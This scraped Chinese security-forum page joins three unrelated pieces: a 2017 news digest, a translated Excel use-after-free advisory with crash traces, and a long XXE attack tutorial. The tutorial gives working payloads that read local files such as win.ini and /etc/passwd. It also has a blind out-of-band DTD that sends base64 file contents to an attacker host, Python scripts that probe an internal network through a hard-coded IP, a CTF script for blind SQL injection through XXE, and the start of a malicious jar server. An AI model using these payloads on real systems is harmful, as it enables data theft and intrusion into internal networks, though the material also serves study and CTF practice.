对源码的简单分析和阅读，有些解释直接就丢在代码里了，不对之处望大佬们指出。 | 社区文章 |
# 【知识】8月17日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 在Windows上使用MSFVenom生成PowerShell脚本、Chrome
Turbofan远程代码执行、G-Scout：用来评估Google Cloud
Platform（GCP）环境配置安全性的OSS工具、Mirai僵尸网络分析、Libsodium安全评估结果、Digtool:
基于虚拟化用于检测内核漏洞的框架**
**
**
****
**国内热词(以下内容部分摘自** **<http://www.solidot.org/> )：**
AMD 发布新显卡驱动优化挖矿性能
银行和能源公司使用的软件被发现植入后门
**资讯类：**
警惕！你的iPhone数据线或已变身监控器
<https://www.forbes.com/sites/ianmorris/2017/08/10/is-your-iphone-cable-spying-on-you/#7648c13e198a>
腐败联邦探员承认从知名黑市"丝绸之路"偷取比特币用于洗钱
<http://thehackernews.com/2017/08/money-laundering-silkroad-agent.html>
**技术类：**
在Windows上使用MSFVenom生成PowerShell脚本
<https://blog.didierstevens.com/2017/08/16/generating-powershell-scripts-with-msfvenom-on-windows/>
G-Scout：用来评估Google Cloud Platform（GCP）环境配置安全性的OSS工具
<https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/august/introducing-g-scout/>
Realmode Assembly – Writing bootable stuff
<https://0x00sec.org/t/realmode-assembly-writing-bootable-stuff-part-3/3116>
Mirai僵尸网络分析
<https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf>
新的DDoS攻击模式被识别：攻击者使用DDoS Pulses来Pin Down多个目标
<https://www.incapsula.com/blog/pulse-wave-ddos-pins-down-multiple-targets.html>
Libsodium安全评估结果
<https://www.privateinternetaccess.com/blog/2017/08/libsodium-audit-results/>
When combining exploits for added effect goes wrong（office漏洞组合利用）
<http://blog.talosintelligence.com/2017/08/when-combining-exploits-for-added.html>
TunnelBear安全评估摘要
<https://cure53.de/summary-report_tunnelbear.pdf>
Chrome Turbofan远程代码执行
<https://blogs.securiteam.com/index.php/archives/3379>
书评：高级渗透测试
<http://www.hackingtutorials.org/infosec-books/book-review-advanced-penetration-testing/>
Adobe Flash Invoke Accesses Trait Out-Of-Bounds
<https://packetstormsecurity.com/files/143802>
通过如何防止在Microsoft Outlook和Office 365中的网络钓鱼攻击
<http://www.techrepublic.com/article/how-to-prevent-phishing-attacks-in-microsoft-outlook-and-office-365-3-methods/>
SweetSecurity：树莓派设备上的网络安全监控
<http://www.kitploit.com/2017/08/sweetsecurity-network-security.html>
Digtool: 基于虚拟化用于检测内核漏洞的框架
<https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-pan.pdf> | 社区文章 |
# ZDI-15-639：execl远程代码执行0day
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://sourceincite.com/2015/12/15/microsoft-office-excel-users-vulnerable-to-zdi-15-639-a-remote-code-execution-zeroday/>
译文仅供参考，具体内容表达以及含义原文为准。
最近我发现了一个Use-After-Free漏洞,它影响所有版本的Microsoft’s
Excel应用程序,只需要构造一个恶意的Excel二进制文件就可以利用该漏洞。这个漏洞可以导致远程代码执行,而微软拒绝对它提供补丁,只是弹出一个警告框作为提醒。让我们看一下弹出的框是什么样子。
试问,如果这份文件是你从电子邮件中收到的“可信”文件,你当然会点YES吧?毕竟它是一份来自于你认为的“可信”来源发来的“可信”文件。一旦你点击了YES,让我们来看一下会发生什么。
一旦我们点击了YES,我们就在Excel的二进制exe程序中启用了页面堆和用户模式栈追踪,你可能会看到这个:
(868.15c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=221beff0 ebx=001c2602 ecx=08a1dff0 edx=00000001 esi=00000000 edi=00000001
eip=2fed37f1 esp=001c2264 ebp=001c2294 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
EXCEL!Ordinal40+0x7737f1:
2fed37f1 663b5004 cmp dx,word ptr [eax+4] ds:0023:221beff4=????
0:000> !heap -p -a @eax
address 221beff0 found in
_DPH_HEAP_ROOT @ 11d1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
22d31a5c: 221be000 2000
716690b2 verifier!AVrfDebugPageHeapFree+0x000000c2
773a6dbc ntdll!RtlDebugFreeHeap+0x0000002f
7736a4c7 ntdll!RtlpFreeHeap+0x0000005d
77336896 ntdll!RtlFreeHeap+0x00000142
75b6c4d4 kernel32!HeapFree+0x00000014
62296f1b mso!Ordinal9770+0x00007bef
2f98cde3 EXCEL!Ordinal40+0x0022cde3
2f9e2e82 EXCEL!Ordinal40+0x00282e82
2f9e2b35 EXCEL!Ordinal40+0x00282b35
2fa26427 EXCEL!Ordinal40+0x002c6427
2fa260b6 EXCEL!Ordinal40+0x002c60b6
2fa24e39 EXCEL!Ordinal40+0x002c4e39
2fa21994 EXCEL!Ordinal40+0x002c1994
2fa24a26 EXCEL!Ordinal40+0x002c4a26
2fa1f82c EXCEL!Ordinal40+0x002bf82c
2fa1e336 EXCEL!Ordinal40+0x002be336
2fa1d992 EXCEL!Ordinal40+0x002bd992
2fa1ced6 EXCEL!Ordinal40+0x002bced6
2fff23cd EXCEL!Ordinal40+0x008923cd
3002c86e EXCEL!Ordinal40+0x008cc86e
300316f1 EXCEL!Ordinal40+0x008d16f1
30032050 EXCEL!Ordinal40+0x008d2050
30042046 EXCEL!Ordinal40+0x008e2046
62076292 mso!Ordinal9994+0x000024c7
620766cb mso!Ordinal4158+0x000001d8
6205992d mso!Ordinal9839+0x00000ff0
6205a0df mso!Ordinal143+0x00000415
61b50593 mso!Ordinal6326+0x00003b30
6207621f mso!Ordinal9994+0x00002454
6175882e mso!Ordinal53+0x0000083b
617585bc mso!Ordinal53+0x000005c9
6175744a mso!Ordinal7509+0x00000060
很明显,这是一个Use-After-Free漏洞,你可能会认为这个问题并没有那么严重,下面是一份录径示例代码,它并没有启用页面堆和用户模式栈追踪。如果攻击者能够迫使内存分配在某一块特定位置(是的,他们有能力做到),那么攻击者就可以控制代码代码执行。
(1614.1a24): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5ca5f546 ebx=00000000 ecx=5c991ed8 edx=00266794 esi=5c991ed8 edi=00000000
eip=8bec8b55 esp=002667a8 ebp=002667e0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206
8bec8b55 ?? ???
0:000> k
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesCommon FilesMicrosoft Sharedoffice14mso.dll -
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
002667a4 5cdec71b 0x8bec8b55
002667e0 5ca40b78 mso!Ordinal8883+0xa15
00266810 5ca40b20 mso!Ordinal9662+0xdb2
00266838 5ca40a84 mso!Ordinal9662+0xd5a
00266844 5ca5f015 mso!Ordinal9662+0xcbe
00266858 5d67e54f mso!Ordinal10511+0x3de
002668cc 5d67e614 mso!Ordinal2804+0x45a
002668f0 5d3a5c3c mso!Ordinal2804+0x51f
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesMicrosoft OfficeOffice14EXCEL.EXE -
00266b3c 2fafdf1c mso!Ordinal7674+0x265
00267230 2fafd9e1 EXCEL!Ordinal40+0x23df1c
00267280 3018c1da EXCEL!Ordinal40+0x23d9e1
0026d184 301916f1 EXCEL!Ordinal40+0x8cc1da
0026f798 30192050 EXCEL!Ordinal40+0x8d16f1
0026fa74 301a2046 EXCEL!Ordinal40+0x8d2050
0026fa94 5d166292 EXCEL!Ordinal40+0x8e2046
0026fab4 5d1666cb mso!Ordinal9994+0x24c7
0026facc 5d14992d mso!Ordinal4158+0x1d8
0026faf4 5d14a0df mso!Ordinal9839+0xff0
0026fb0c 5cc40593 mso!Ordinal143+0x415
0026fb30 5d16621f mso!Ordinal6326+0x3b30
0:000> u 5ca40b78
mso!Ordinal9662+0xdb2:
5ca40b78 8bce mov ecx,esi
5ca40b7a e84f000000 call mso!Ordinal9662+0xe08 (5ca40bce)
5ca40b7f 8b4e2c mov ecx,dword ptr [esi+2Ch]
5ca40b82 3bcf cmp ecx,edi
5ca40b84 7409 je mso!Ordinal9662+0xdc9 (5ca40b8f)
5ca40b86 8b01 mov eax,dword ptr [ecx]
5ca40b88 6a01 push 1
5ca40b8a ff10 call dword ptr [eax]
这里是在IDA中显示的sub_39270b26()的位置。
我不会涉及漏洞的发现已经关键代码路径,因为目前该漏洞还未被修复,POC攻击实例也在上面列出了。此外,如果利用最近的ALSR绕过技术来利用这次的Excel漏洞,漏洞影响无疑将会扩大。
所以那些版本受到影响呢?所有2007和2010版本,新版本也可能受影响(未进行测试)。测试环境使用的是完全补丁的Office 2010专业版。
总结
我们希望微软能够意识到该问题的严重性,并及时推出相应补丁。这是一个严重的漏洞,而且类似的还不少。 | 社区文章 |
## **一、XXE 是什么**
介绍 XXE 之前，我先来说一下普通的 XML 注入，这个的利用面比较狭窄，如果有的话应该也是逻辑漏洞
**如图所示：**
既然能插入 XML 代码，那我们肯定不能善罢甘休，我们需要更多，于是出现了 XXE
XXE(XML External Entity Injection) 全称为 XML
外部实体注入，从名字就能看出来，这是一个注入漏洞，注入的是什么？XML外部实体。(看到这里肯定有人要说：你这不是在废话)，固然，其实我这里废话只是想强调我们的利用点是
**外部实体** ，也是提醒读者将注意力集中于外部实体中，而不要被 XML 中其他的一些名字相似的东西扰乱了思维( **盯好外部实体就行了**
)，如果能注入 外部实体并且成功解析的话，这就会大大拓宽我们 XML 注入的攻击面（这可能就是为什么单独说 而没有说 XML 注入的原因吧，或许普通的
XML 注入真的太鸡肋了，现实中几乎用不到）
## **二、简单介绍一下背景知识：**
XML是一种非常流行的标记语言，在1990年代后期首次标准化，并被无数的软件项目所采用。它用于配置文件，文档格式（如OOXML，ODF，PDF，RSS，...），图像格式（SVG，EXIF标题）和网络协议（WebDAV，CalDAV，XMLRPC，SOAP，XMPP，SAML，
XACML，...），他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。
在解析外部实体的过程中，XML解析器可以根据URL中指定的方案（协议）来查询各种网络协议和服务（DNS，FTP，HTTP，SMB等）。
外部实体对于在文档中创建动态引用非常有用，这样对引用资源所做的任何更改都会在文档中自动更新。 但是，在处理外部实体时，可以针对应用程序启动许多攻击。
这些攻击包括泄露本地系统文件，这些文件可能包含密码和私人用户数据等敏感数据，或利用各种方案的网络访问功能来操纵内部应用程序。
通过将这些攻击与其他实现缺陷相结合，这些攻击的范围可以扩展到客户端内存损坏，任意代码执行，甚至服务中断，具体取决于这些攻击的上下文。
## **三、基础知识**
XML 文档有自己的一个格式规范，这个格式规范是由一个叫做 DTD（document type definition） 的东西控制的，他就是长得下面这个样子
**示例代码：**
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message，然后跟元素下面有一些子元素，那么 XML 到时候必须像下面这么写
**示例代码：**
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
其实除了在 DTD 中定义元素（其实就是对应 XML 中的标签）以外，我们还能在 DTD 中定义实体(对应XML 标签中的内容)，毕竟 ML
中除了能标签以外，还需要有些内容是固定的
**示例代码：**
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里 定义元素为 ANY 说明接受任何元素，但是定义了一个 xml
的实体（这是我们在这篇文章中第一次看到实体的真面目，实体其实可以看成一个变量，到时候我们可以在 XML 中通过 & 符号进行引用），那么 XML
就可以写成这样
**示例代码：**
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用，到时候输出的时候 &xxe 就会被 "test" 替换。
### **重点来了：**
**重点一：**
实体分为两种，内部实体和 **外部实体** ，上面我们举的例子就是内部实体，但是实体实际上可以从外部的 dtd 文件中引用，我们看下面的代码：
**示例代码：**
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这样对引用资源所做的任何更改都会在文档中自动更新,非常方便（ **方便永远是安全的敌人** ）
当然，还有一种引用方式是使用 引用 **公用 DTD** 的方法，语法如下：
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
**重点二：**
我们上面已经将实体分成了两个派别（内部实体和外部外部），但是实际上从另一个角度看，实体也可以分成两个派别（通用实体和参数实体），别晕。。
**1.通用实体**
用 &实体名; 引用的实体，他在DTD 中定义，在 XML 文档中引用
**示例代码：**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
**2.参数实体：**
(1)使用 `% 实体名`( **这里面空格不能少** ) 在 DTD 中定义，并且 **只能在 DTD 中使用`%实体名;` 引用**
(2)只有在 DTD 文件中，参数实体的声明才能引用其他实体
(3)和通用实体一样，参数实体也可以外部引用
**示例代码：**
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
**抛转：**
参数实体在我们 Blind XXE 中起到了至关重要的作用
## **四、我们能做什么**
上一节疯狂暗示了 **外部实体** ，那他究竟能干什么？
实际上，当你看到下面这段代码的时候，有一点安全意识的小伙伴应该隐隐约约能觉察出什么
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
既然能读 dtd 那我们是不是能将路径换一换，换成敏感文件的路径，然后把敏感文件读出来？
### **实验一：有回显读本地敏感文件(Normal XXE)**
这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候，我们就能输入我们自定义的 XML
代码，通过引用外部实体的方法，引用服务器上面的文件
本地服务器上放上解析 XML 的 php 代码：
**示例代码：**
**xml.php**
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
**payload:**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
**结果如下图：**
但是因为这个文件没有什么特殊符号，于是我们读取的时候可以说是相当的顺利， **那么我么要是换成下面这个文件呢？**
**如图所示：**
我们试一下：
**结果如下图：**
可以看到，不但没有读到我们想要的文件，而且还给我们报了一堆错，怎么办？这个时候就要祭出我们的另一个神器了------CDATA
，简单的介绍如下(引用自我的一片介绍 XML 的博客)：
> 有些内容可能 **不想让解析引擎解析** 执行，而是当做原始的内容处理，用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 <> & 或者
> " 字符，CDATA节中的所有字符都会被当做元素字符数据的常量部分，而不是 xml标记
>
>
> <![CDATA[
>
>
> XXXXXXXXXXXXXXXXX
>
> ]]>
>
> 可以输入任意字符除了 ]]> 不能嵌套
>
> 用处是万一某个标签内容包含特殊字符或者不确定字符，我们可以用 CDATA包起来
那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过，但是怎么做到，我们来简答的分析一下：
首先，找到问题出现的地方，问题出现在
...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
引用并不接受可能会引起 xml
格式混乱的字符(在XML中，有时实体内包含了些字符，如&,<,>,",'等。这些均需要对其进行转义，否则会对XML解释器生成错误)，我们想在引用的两边加上
"<![CDATA["和 “]]>”,但是好像没有任何语法告诉我们字符串能拼接的，于是我想到了能不能使用多个实体连续引用的方法
**结果如下图：**
注意，这里面的三个实体都是字符串形式，连在一起居然报错了，这说明我们不能在 xml 中进行拼接，而是需要在拼接以后再在 xml 中调用，那么要想在 DTD
中拼接，我们知道我们只有一种选择，就是使用 参数实体
**payload:**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
**evil.dtd**
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
**结果如下图：**
感兴趣的童鞋可以分析一下整个调用过程，因为我在下面的例子中有分析一个类似的例子，于是出于篇幅考虑我这里就不分析了。
> **注意：**
>
> 这里提一个点，如果是在 java 中 还有一个协议能代替 file 协议 ，那就是 netdoc ，使用方法我会在后面的分析 微信的 XXE
> 的时候顺带演示
### **新的问题出现**
但是，你想想也知道，本身人家服务器上的 XML 就不是输出用的，一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML
的类，因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法------外带
### **新的解决方法**
想要外带就必须能发起请求，那么什么地方能发起请求呢？
很明显就是我们的外部实体定义的时候，其实光发起请求还不行，我们还得能把我们的数据传出去，而我们的数据本身也是一个对外的请求，也就是说，我们需要在请求中引用另一次请求的结果，分析下来只有我们的参数实体能做到了(并且根据规范，我们必须在一个
DTD 文件中才能完成“请求中引用另一次请求的结果”的要求)
### **实验二：无回显读取本地敏感文件(Blind OOB XXE)**
**xml.php**
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
**test.dtd**
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
**2019.5.8 更新**
我发现上面这段代码由于解析的问题将 send 前面的 HTML 实体转化成了 %
,虽然我在下面做出了一些解释，但是因为存在复制粘贴代码的行为，因此我决定还是在这里用图片的形式再次展示一下我的代码
**payload：**
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
**结果如下：**
我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法)，不编码会报错。
**整个调用过程：**
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;，这就是我们的利用顺序，%remote
先调用，调用后请求远程服务器上的 test.dtd ，有点类似于将 test.dtd 包含进来，然后 %int 调用 test.dtd 中的 %file,
%file 就会去获取服务器上面的敏感文件，然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码
`%`)，我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上，这样就实现了外带数据的效果，完美的解决了 XXE
无回显的问题。
### **新的思考：**
我们刚刚都只是做了一件事，那就是通过 file 协议读取本地文件，或者是通过 http 协议发出请求，熟悉 SSRF
的童鞋应该很快反应过来，这其实非常类似于 SSRF ，因为他们都能从服务器向另一台服务器发起请求，那么我们如果将远程服务器的地址换成某个内网的地址，（比如
192.168.0.10:8080）是不是也能实现 SSRF 同样的效果呢？没错，XXE 其实也是一种 SSRF 的攻击手法，因为 SSRF
其实只是一种攻击模式，利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
### **新的利用：**
所以要想更进一步的利用我们不能将眼光局限于 file 协议，我们必须清楚地知道在何种平台，我们能用何种协议
**如图所示:**
PHP在安装扩展以后还能支持的协议：
**如图所示：**
> **注意：**
>
> 1.其中从2012年9月开始，Oracle JDK版本中删除了对gopher方案的支持，后来又支持的版本是 Oracle JDK 1.7
> update 7 和 Oracle JDK 1.6 update 35
> 2.libxml 是 PHP 的 xml 支持
### **实验三：HTTP 内网主机探测**
我们以存在 XXE 漏洞的服务器为我们探测内网的支点。要进行内网探测我们还需要做一些准备工作，我们需要先利用 file
协议读取我们作为支点服务器的网络配置文件，看一下有没有内网，以及网段大概是什么样子（我以linux 为例），我们可以尝试读取
/etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件以后我们就有了大致的探测方向了
**下面是一个探测脚本的实例：**
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
**返回结果：**
### **实验四：HTTP 内网主机端口扫描**
找到了内网的一台主机，想要知道攻击点在哪，我们还需要进行端口扫描，端口扫描的脚本主机探测几乎没有什么变化，只要把ip
地址固定，然后循环遍历端口就行了，当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的，读者可以自行修改一下，当然除了这种方法，我们还能结合
burpsuite 进行端口探测
**比如我们传入：**
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
**返回结果：**
javax.xml.bind.UnmarshalException
- with linked exception:
[Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException
Exception Description: An error occurred unmarshalling the document
Internal Exception: ████████████████████████: Connection refused
这样就完成了一次端口探测。如果想更多，我们可以将请求的端口作为 参数 然后利用 bp 的 intruder 来帮我们探测
**如下图所示：**
至此，我们已经有能力对整个网段进行了一个全面的探测,并能得到内网服务器的一些信息了，如果内网的服务器有漏洞，并且恰好利用方式在服务器支持的协议的范围内的话，我们就能直接利用
XXE 打击内网服务器甚至能直接 getshell（比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的
比如 strus2）
### **实验五：内网盲注(CTF)**
2018 强网杯 有一道题就是利用 XXE 漏洞进行内网的 SQL 盲注的,大致的思路如下：
首先在外网的一台ip地址为 39.107.33.75:33899 的评论框处测试发现 XXE 漏洞，我们输入 xml 以及 dtd 会出现报错
**如图所示：**
既然如此，那么我们是不是能读取该服务器上面的文件，我们先读配置文件(这个点是 Blind XXE ，必须使用参数实体，外部引用 DTD )
/var/www/52dandan.cc/public_html/config.php
拿到第一部分 flag
<?php
define(BASEDIR, "/var/www/52dandan.club/");
define(FLAG_SIG, 1);
define(SECRETFILE,'/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe431');
....
?>
> **注意：**
>
> 这里有一个小技巧，当我们使用 libxml 读取文件内容的时候，文件不能过大，如果太大就会报错，于是我们就需要使用 php
> 过滤器的一个压缩的方法
>
> 压缩：echo
> file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd");
> 解压：echo
> file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1");
然后我们考虑内网有没有东西，我们读取
/proc/net/arp
/etc/host
找到内网的另一台服务器的 ip 地址 192.168.223.18
拿到这个 ip 我们考虑就要使用 XXE 进行端口扫描了，然后我们发现开放了 80 端口，然后我们再进行目录扫描，找到一个 test.php
，根据提示，这个页面的 shop 参数存在一个注入,但是因为本身这个就是一个 Blind XXE ,我们的对服务器的请求都是在我们的远程 DTD
中包含的，现在我们需要改变我们的请求，那我们就要在每一次修改请求的时候修改我们远程服务器的 DTD 文件，于是我们的脚本就要挂在我们的 VPS
上，一边边修改 DTD 一边向存在 XXE 漏洞的主机发送请求，脚本就像下面这个样子
**示例代码：**
import requests
url = 'http://39.107.33.75:33899/common.php'
s = requests.Session()
result = ''
data = {
"name":"evil_man",
"email":"testabcdefg@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
%dtd;]>
"""
}
for i in range(0,28):
for j in range(48,123):
f = open('./evil.dtd','w')
payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/resource=http://192.168.223.18/test.php?shop=3'-(case%a0when((select%a0group_concat(total)%a0from%a0albert_shop)like%a0binary('{}'))then(0)else(1)end)-'1">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
%all;
%send;""".format('_'*i+chr(j)+'_'*(27-i))
f.write(payload2)
f.close()
print 'test {}'.format(chr(j))
r = s.post(url,data=data)
if "Oti3a3LeLPdkPkqKF84xs=" in r.content and chr(j)!='_':
result += chr(j)
print chr(j)
break
print result
这道题难度比加大，做起来也非常的耗时，所有的东西都要靠脚本去猜，因此当时是0解
### **实验六：文件上传**
我们之前说的好像都是 php 相关，但是实际上现实中很多都是 java 的框架出现的 XXE 漏洞，通过阅读文档，我发现 Java 中有一个比较神奇的协议
jar:// ， php 中的 phar:// 似乎就是为了实现 jar:// 的类似的功能设计出来的。
**jar:// 协议的格式：**
jar:{url}!{path}
**实例：**
jar:http://host/application.jar!/file/within/the/zip
这个 ! 后面就是其需要从中解压出的文件
jar 能从远程获取 jar 文件，然后将其中的内容进行解压，等等，这个功能似乎比 phar 强大啊，phar:// 是没法远程加载文件的（因此
phar:// 一般用于绕过文件上传，在一些2016年的HCTF中考察过这个知识点，我也曾在校赛中出过类似的题目，奥，2018年的 blackhat 讲述的
phar:// 的反序列化很有趣，Orange 曾在2017年的 hitcon 中出过这道题）
**jar 协议处理文件的过程：**
(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件
> **那么我们怎么找到我们下载的临时文件呢？**
>
> 因为在 java 中 file:/// 协议可以起到列目录的作用，所以我们能用 file:/// 协议配合 jar:// 协议使用
下面是我的一些测试过程：
我首先在本地模拟一个存在 XXE 的程序，网上找的能直接解析 XML 文件的 java 源码
**示例代码：**
**xml_test.java**
package xml_test;
import java.io.File;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
* @author zhanglong
*
*/
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("student.xml"));
//获得根元素结点
Element root = doc.getDocumentElement();
parseElement(root);
}
private static void parseElement(Element element)
{
String tagName = element.getNodeName();
NodeList children = element.getChildNodes();
System.out.print("<" + tagName);
//element元素的所有属性所构成的NamedNodeMap对象，需要对其进行判断
NamedNodeMap map = element.getAttributes();
//如果该元素存在属性
if(null != map)
{
for(int i = 0; i < map.getLength(); i++)
{
//获得该元素的每一个属性
Attr attr = (Attr)map.item(i);
String attrName = attr.getName();
String attrValue = attr.getValue();
System.out.print(" " + attrName + "=\"" + attrValue + "\"");
}
}
System.out.print(">");
for(int i = 0; i < children.getLength(); i++)
{
Node node = children.item(i);
//获得结点的类型
short nodeType = node.getNodeType();
if(nodeType == Node.ELEMENT_NODE)
{
//是元素，继续递归
parseElement((Element)node);
}
else if(nodeType == Node.TEXT_NODE)
{
//递归出口
System.out.print(node.getNodeValue());
}
else if(nodeType == Node.COMMENT_NODE)
{
System.out.print("<!--");
Comment comment = (Comment)node;
//注释内容
String data = comment.getData();
System.out.print(data);
System.out.print("-->");
}
}
System.out.print("</" + tagName + ">");
}
}
有了这个源码以后，我们需要在本地建立一个 xml 文件 ，我取名为 student.xml
**student.xml**
<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>
**目录结构如下图：**
可以清楚地看到我的请求是向自己本地的 9999 端口发出的，那么9999 端口上有什么服务呢？实际上是我自己用 python 写的一个 TCP 服务器
**示例代码：**
**sever.py**
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
